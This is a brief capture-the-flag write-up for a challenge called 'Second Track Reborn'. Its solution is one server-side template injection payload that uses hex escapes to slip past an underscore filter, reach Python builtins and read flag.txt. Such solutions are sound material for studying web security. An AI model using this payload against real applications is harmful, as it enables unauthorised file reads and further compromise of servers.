Second Track Reborn
Is this happening again? These guys haven't learnt their lesson and got attacked again! Let's see if Second Track can keep their promises and also keep our backups safe.
Solution
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('open')('flag.txt')|attr('read')()}}